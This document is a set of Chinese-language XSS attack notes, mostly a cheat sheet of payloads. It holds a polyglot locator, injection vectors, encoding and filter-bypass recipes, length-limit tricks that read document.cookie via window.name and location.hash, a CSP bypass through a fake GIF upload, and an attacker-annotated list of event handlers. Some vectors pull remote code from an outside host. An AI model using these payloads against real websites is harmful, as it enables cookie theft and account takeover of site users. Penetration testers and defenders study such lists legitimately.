XSS Attack Notes

XSS检测

用于探测XSS的存在性。

  • XSS Locator(Polygot)
    • javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

基本姿势

基本姿势在XSS Concept NotesHTML Injection一节的ways部分作了基本介绍。XSS 目的是执行JS代码达成我们目的,总结下可以执行JS代码的地方:

可以X的地方

  • <script>标签内
  • 写在外部,通过<script src=引入
  • 一些放URL的地方利用javascript:伪协议
    • src处经过测试,可以work的好像只有iframe了,其他的比如img等只在IE6上测试通过
    • formaction
    • 普通标签带有form属性的formaction
    • href
  • src里用data协议
  • iframesrcdoc直接写标签
  • 各种on事件里(on事件见附录

XSS Vector 举栗

  • <img src=javascript:alert(1) > // IE6
  • <IMG DYNSRC="javascript:alert(‘XSS’)"> // IE6
  • <IMG LOWSRC="javascript:alert('XSS')"> // IE6
  • <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))”> // IE6
  • <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');”> // IE6
  • <table background=javascript:alert(1)></table> // IE6
  • <BODY BACKGROUND=”javascript:alert(‘XSS’)”> // IE6
  • <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> // IE6
  • <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> // IE6
  • <STYLE>@import'http://xss.rocks/xss.css';</STYLE> //IE6
  • <STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE> // IE6
  • <style>#test{x:expression(alert(/XSS/))}</style> //IE6
  • <LINK REL="stylesheet" HREF="javascript:alert('XSS');”> //IE6
  • <LINK REL="stylesheet" HREF="http://xss.rocks/xss.css”> //IE6
  • <META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet”> // IE6
  • <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');”> // IE6
  • <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
  • <iframe src=javascript:alert(1) >
  • <script>alert(1)</script>
  • <img src=# onerror="" >
  • <img src= onerror="" >
  • <img src=/ onerror="" >
  • <input onfocus=“alert(1)”autofocus>
  • <input onblur=alert(1) autofocus><input autofocus>
  • <details open ontoggle=alert(1)>
  • <svg onload=alert(1)>
  • <svg/onload=alert('XSS')>
  • <script>Set.constructor(alert\x28/XSS/\x29)</script>
  • <OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
  • <form action=“javascript:alert(1)>
  • <form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>

XSS 绕过

绕过是反反攻击的艺术,需要结合特定的filter进行分析构造。这里先介绍绕过所需的基本条件,然后介绍绕过的一些通用技术,具体的filter就不一一举例,但读者可以利用通用技术灵活组合,举一反三。

基本条件

解释器特性

  • HTML 标签大小写不敏感
    • HTML parser自动补全不闭合的标签(动态改变的可能不行)
  • HTML parser自动给属性后空白字符前的值加引号 如 <a onclick=alert(1) ></a> -> <a onclick=“alert(1)”></a>
  • HTML实体编码可以不带分号
  • URL协议字段大小写不敏感
  • URL协议如果没写默认为location.protocol
  • URL整个字段可以嵌入任意多个以下空白字符
    • [输入的TAB]
    • 使用HTML实体编码的 &#x0A &#x0D &#x09
  • &#14;javascript:alert(‘XSS’); URL协议前可以有任何十进制的1-32的字符
  • 畸形URL处理
  • JavaScript Parser自动补全JS语句的分号

解释器的自动解码

  • 指令
    • HTML不会对标签名以及属性等keyword进行HTML实体解码
    • URL的协议关键字用URL编码之后浏览器无法正确识别如(h%74tp://baidu.com和javascrip%74:alert(1))都不会被正常识别
    • JS的指令可以用\u的Unicode码点表示(只支持plane1码点即UCS-2 即16位Unicode字符)
  • 数据
    • HTML parser会对数据(字符串)进行HTML实体解码
    • URL的协议之后的部分会进行URL解码
    • HTTP(S)协议的内容会进行进制识别(十进制、八进制、十六进制IP地址)
    • JS的字符串会进行进制识别(要在引号内),即alert(‘\x74’) alert(‘\74’) 都是合法的。以及和指令的码点表示类似,alert(‘\u0074’) 也合法

eval等函数相当于将指令->数据,从而可以利用JS的数据解码的特性如进制编码和\u编码来绕过过滤

通用绕过技术

  • 特性绕过
    • 大小写绕过
    • 不闭合标签
      • <iframe src=javascript:alert(1)>
      • <iframe src=javascript:alert(1)
    • 不写引号
    • 不写分号
    • 不写协议(HTTP(S))
    • 畸形URL
  • 编码绕过
    • HTML value部分进行HTML实体编码
    • URL 数据部分(协议的冒号之后)进行URL编码
    • HTTP(S)的IP使用进制转换(十进制、八进制十六进制IP)
    • JS的指令使用Unicode码点绕过,数据使用进制编码、Unicode编码都行
    • 伪协议编码如 <iframe src="dAta:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>
    • 多重编码(记住解码顺序是HTML先) 如 <iframe src="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x36;&#x31;&#x25;&#x36;&#x63;&#x25;&#x36;&#x35;&#x25;&#x37;&#x32;&#x25;&#x37;&#x34;&#x25;&#x32;&#x38;&#x25;&#x32;&#x37;&#x25;&#x37;&#x38;&#x25;&#x37;&#x33;&#x25;&#x37;&#x33;&#x25;&#x32;&#x37;&#x25;&#x32;&#x39;"></iframe>是个合法的XSS Payload
    • 页面编码如页面是GBK/GB2312%c1\ == ‘羂’, 因为%c1gbk编码中的区位符号,与后16位的偏移一起组合成为一个汉字,所以就会把转义符号给“吃”掉了。

编码部分我做了个镜像整合了余弦大大的xssor2和著名的xssee,并做了小修改. docker pull lxzmads/xssxor

  • 可选替代绕过
    • HTML
      • tab代替空格
      • / 代替 空格
    • JS
      • 正则代替引号如alert(/xss/)
      • 反引号代替括号(带标签模版字符串)
      • 方法劫持
        • onerror=eval;throw'=alert\x281\x29’; 绕过括号 = 因为Chrome和Opera会在异常前加个Uncaught
      • Object运算代换
        • ‘xss’ == 'x' + 'xs'
        • ‘xss’ == String.fromCharCode(120,115,115)
        • ‘xss’ == unescape('%78%73%73')
        • ‘xss’ == atob('eHNz')
        • a=alert,a(1)
        • [1].find(alert)
        • (alert)(1)
  • 过滤器逻辑绕过
    • 过滤一次为空:双写
    • 服务端解码两次: 二次编码
  • 服务端函数变量
    • PHP
      • htmlentities()函数没有过滤单引号,适用于在变量处的xss。
      • POST的action字段使用了php的$_SERVER['PHP_SELF'], 利用url的参数
  • 代码变换绕过

    • “超函数”——可以将代码变为数据,从而使用数据的各种编码绕过
      • eval
        • a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c) -> alert(`xss`)
        • eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0(/1/)',2,2,'alert|xss'.split('|'),0,{}))
      • top
        • top["al"+"ert"](`xss`); -> alert(`xss`)
      • window parent self this constructor
        • Set.constructor(alert\x28document.domain\x29)
    • 空属性
      • <script/x>alert(1)</script> 绕正则
    • 注释符
      • <<SCRIPT>alert('XSS');//<</SCRIPT> 双写尖括号
  • 综合Paylod举例

    • []['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162'] ('\141\154\145\162\164\50\61\51')() 绕不准字母表
    • (alert)(1)
    • a=alert,a(1)
    • [1].find(alert)
    • top["al"+"ert"](1)
    • top[/al/.source+/ert/.source](1)
    • top['al\145rt'](1)
    • top[8680439..toString(30)](1)

长度限制绕过

  • 利用事件(其他写法)来缩短字节数
    • "><script>alert(1)</script>"onclick=alert(1)//
  • 第二个思路是把长的Payload写到别处,然后用一个简短的reference来调用。
    • 可以藏代码的地方就是可以自定义的地方
    • 比如location.hash
    • 通过" onclick="eval(location.hash.substr(1))"
    • 加载远程JS
    • 可控的页面内容,RPO载入
  • 利用注释符绕过长度限制。就是利用<!-- -->注释掉html代码,打通若干个html标签
  • <base>标签劫持相对路径引入的资源
  • window.name可以缩短Payload长度
    1
    2
    3
    <script>window.name="alert(document.cookie)";
    location.href="http://www.xssedsite.com/xssed.php";
    </script>

在同一窗口打开具有XSS漏洞的站点,只需要 eval(name);就可以执行Payload,只有11个字符。

跨域限制绕过

  • window
  • postMessage
  • TODO

CSP绕过

  • 文件上传注入,绕过CSP

    1
    2
    GIF89a=//<script>
    alert(1)//</script>;
  • TODO

附录

Events in JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件)
onAbort() (当用户中止加载图片时)
onActivate() (当对象激活时)
onAfterPrint() (用户打印或进行打印预览后触发)
onAfterUpdate() (从数据源对象更新数据后由数据对象触发)
onBeforeActivate() (在对象设置为激活元素前触发)
onBeforeCopy() (攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行execCommand("Copy")函数触发)
onBeforeCut() (攻击者在选中部分剪切到剪贴板前执行攻击代码)
onBeforeDeactivate() (在当前对象的激活元素变化前触发)
onBeforeEditFocus() (在一个包含可编辑元素的对象进入激活状态时或一个可编辑的对象被选中时触发)
onBeforePaste() (在用户被诱导进行粘贴前或使用execCommand("Paste")函数触发)
onBeforePrint() (用户需要被诱导进行打印或攻击者可以使用print()或execCommand("Print")函数).
onBeforeUnload() (用户需要被诱导关闭浏览器-除非从父窗口执行,否则攻击者不能关闭当前窗口)
onBeforeUpdate() (从数据源对象更新数据前由数据对象触发)
onBegin() (当元素周期开始时由onbegin 事件立即触发)
onBlur() (另一个窗口弹出当前窗口失去焦点时触发)
onBounce() (当marquee对象的behavior属性设置为“alternate”且字幕的滚动内容到达窗口一边时触发)
onCellChange() (当数据提供者的数据变化时触发)
onChange() (select,text, 或TEXTAREA字段失去焦点并且值发生变化时触发)
onClick() (表单中点击触发)
onContextMenu() (用户需要在攻击区域点击右键)
onControlSelect() (当用户在一个对象上创建控件选中区时触发)
onCopy() (用户需要复制一些东西或使用execCommand("Copy")命令时触发)
onCut() (用户需要剪切一些东西或使用execCommand("Cut")命令时触发)
onDataAvailable() (用户需要修改元素中的数据,或者由攻击者提供的类似功能)
onDataSetChanged() (当数据源对象变更导致数据集发生变更时触发)
onDataSetComplete() (数据源对象中所有数据可用时触发)
onDblClick() (用户双击一个表单元素或链接)
onDeactivate() (在激活元素从当前对象转换到父文档中的另一个对象时触发)
onDrag() (在元素正在拖动时触发)
onDragEnd() (当用户完成元素的拖动时触发)
onDragLeave() (用户在拖动元素离开放置目标时触发)
onDragEnter() (用户将对象拖拽到合法拖曳目标)
onDragOver() (用户将对象拖拽划过合法拖曳目标)
onDragDrop() (用户将一个对象(例如文件)拖拽到浏览器窗口)
onDragStart() (当用户开始拖动元素时触发)
onDrop() (当拖动元素放置在目标区域时触发)
onEnded() (在视频/音频(audio/video)播放结束时触发)
onError() (在加载文档或图像时发生错误)
onErrorUpdate() (当从数据源对象更新相关数据遇到错误时在数据绑定对象上触发)
onFilterChange() (当滤镜完成状态变更时触发)
onFinish() (当marquee完成滚动时攻击者可以执行攻击)
onFocus() (当窗口获得焦点时攻击者可以执行攻击代码)
onFocusIn() (当元素将要被设置为焦点之前触发)
onFocusOut() (攻击者可以在窗口失去焦点时触发攻击代码)
onHashChange() (当锚部分发生变化时触发攻击代码)
onHelp() (攻击者可以在用户在当前窗体激活时按下F1触发攻击代码)
onInput() (在 <input> 或 <textarea> 元素的值发生改变时触发)
onKeyDown() (用户按下一个键的时候触发)
onKeyPress() (在键盘按键被按下并释放一个键时触发)
onKeyUp() (用户释放一个键时触发)
onLayoutComplete() (用户进行完打印或打印预览时触发)
onLoad() (攻击者在窗口加载后触发攻击代码)
onLoseCapture() (可以由releaseCapture()方法触发)
onMediaComplete() (当一个流媒体文件使用时,这个事件可以在文件播放前触发)
onMediaError() (当用户在浏览器中打开一个包含媒体文件的页面,出现问题时触发事件)
onMessage() (当页面收到一个信息时触发事件)
onMouseDown() (攻击者需要让用户点击一个图片触发事件)
onMouseEnter() (光标移动到一个对象或区域时触发)
onMouseLeave() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)
onMouseMove() (攻击者需要让用户将光标移到一个图片或表格)
onMouseOut() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)
onMouseOver() (光标移动到一个对象或区域)
onMouseUp() (攻击者需要让用户点击一个图片)
onMouseWheel() (攻击者需要让用户使用他们的鼠标滚轮)
onMove() (用户或攻击者移动页面时触发)
onMoveEnd() (用户或攻击者移动页面结束时触发)
onMoveStart() (用户或攻击者开始移动页面时触发)
onOffline() (当浏览器从在线模式切换到离线模式时触发)
onOnline() (当浏览器从离线模式切换到在线模式时触发)
onOutOfSync() (当元素与当前时间线失去同步时触发)
onPaste() (用户进行粘贴时或攻击者可以使用execCommand("Paste")函数时触发)
onPause() (在视频或音频暂停时触发)
onPopState() (在窗口的浏览历史(history 对象)发生改变时触发)
onProgress() (攻击者可以在一个FLASH加载时触发事件)
onPropertyChange() (用户或攻击者需要改变元素属性时触发)
onReadyStateChange() (每次 readyState 属性变化时被自动调用)
onRedo() (用户返回上一页面时触发)
onRepeat() (事件在播放完重复播放时触发)
onReset() (用户或攻击者重置表单时触发)
onResize() (用户改变窗口大小时,攻击者可以自动以这种方法触发:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
onResizeEnd() (用户完成改变窗体大小时触发)
onResizeStart() (用户开始改变窗体大小时触发)
onResume() (当元素继续播放时触发)
onReverse() (当元素回放时触发)
onRowsEnter() (用户或攻击者需要改变数据源中的一行)
onRowExit() (用户或攻击者改变数据源中的一行后退出时触发)
onRowDelete() (用户或攻击者需要删除数据源中的一行)
onRowInserted() (user or attacker would needto insert a row in a data source)
onScroll() (用户需要滚动或攻击者使用scrollBy()函数)
onSeek() (当用户在元素上执行查找操作时触发)
onSelect() (用户需要选择一些文本-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
onSelectionChange() (当用户选择文本变化时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
onSelectStart() (当用户开始选择文本时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
onStart() (在marquee 对象开始循环时触发)
onStop() (当用户按下停止按钮或离开页面时触发)
onStorage() (当Web Storage更新时触发)
onSyncRestored() (当元素与它的时间线恢复同步时触发)
onSubmit() (需要用户或攻击者提交表单)
onTimeError() (用户或攻击者设置时间属性出现错误时触发)
onTrackChange() (用户或攻击者改变播放列表内歌曲时触发)
onUndo() (用户返回上一浏览记录页面时触发)
onUnload() (用户点击任意链接或按下后退按钮或攻击者强制进行点击时触发)
onURLFlip() (当一个高级流媒体格式(ASF)文件,由一个HTML+TIME(基于时间交互的多媒体扩展)媒体标签播放时,可触发在ASF文件中内嵌的攻击脚本)
seekSegmentTime() (这是一个方法可以定位元素某个时间段内中的特定的点,并可以从该点播放。这个段落包含了一个重复的时间线,并包括使用AUTOREVERSE属性进行反向播放。)

其余参考这里

Reference